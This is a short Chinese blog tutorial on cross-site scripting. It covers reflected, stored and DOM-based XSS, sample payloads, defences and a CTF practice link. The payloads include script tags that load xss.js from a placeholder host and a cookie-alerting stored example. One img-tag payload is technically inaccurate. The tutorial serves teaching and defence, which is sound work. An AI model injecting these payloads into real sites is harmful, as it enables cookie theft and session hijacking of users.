Xss原理及攻防解析(簡單明瞭)

原理解析

Xss被稱作是跨站腳本攻擊,類似於sql注入一樣,攻擊者在執行Xss時將惡意的腳本代碼注入到網頁中,當其他正常用戶訪問該網頁時,惡意腳本就會被瀏覽器解析,危害用戶安全。導致用戶面臨cookie竊取,session劫持等諸多危險。

反射型Xss

反射型的Xss的主要形成原因在於後端服務器在解析用戶輸入的數據時,將用戶輸入的數據解析爲腳本數據,傳遞迴瀏覽器後瀏覽器解析時當作腳本進行解析,觸發Xss漏洞。

持久型Xss

持久型的Xss和反射性Xss的主要區別在於Xss代碼是否被保存到數據庫(或其他持久化存儲介質中)。反射型Xss需要用戶每次輸入相關的Xss代碼才能觸發,而存儲型Xss則可以存儲到服務器的數據庫中,每次服務器向瀏覽器傳遞該數據時就會觸發Xss代碼,例如在留言板等web應用中,攻擊者留言<script>alert(document.cookie)</script>
當其他用戶訪問留言板時,服務器向瀏覽器傳遞該留言,但是瀏覽器將留言解析爲腳本並且執行,導致Xss漏洞被觸發。

DOM型Xss

DOM型的Xss則是針對文檔直接進行的攻擊,通過修改dom中的數據在本地執行,觸發Xss漏洞。

攻擊方式

普通的XSS: <script src=http://www.xxx.com/xss.js></script>
通過url插入: http://test.ctf8.com/level1.php?<script>console.log(111)</script>
通過標籤插入XSS: <img src=http://www.xxx.com/xss.js>

防禦方式

永遠不要相信用戶的輸入,通過建立儘可能完善的過濾體系來防止XSS攻擊的出現。可以採用正則表達式過濾,採用Htmlspecialchars轉換輸入等方式對用戶輸入進行處理。
作爲OWASP top 10的漏洞,當前也有許多針對XSS漏洞或XSS隱患的自動化掃描工具,注入NoXss,w13scan以及RSA的Sqreen差價等等,開發者通過藉助這些自動化工具,可以有效的提高自身應用的安全性。

闖關平臺

http://test.ctf8.com/

我的個人博客,歡迎大家訪問 ~~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章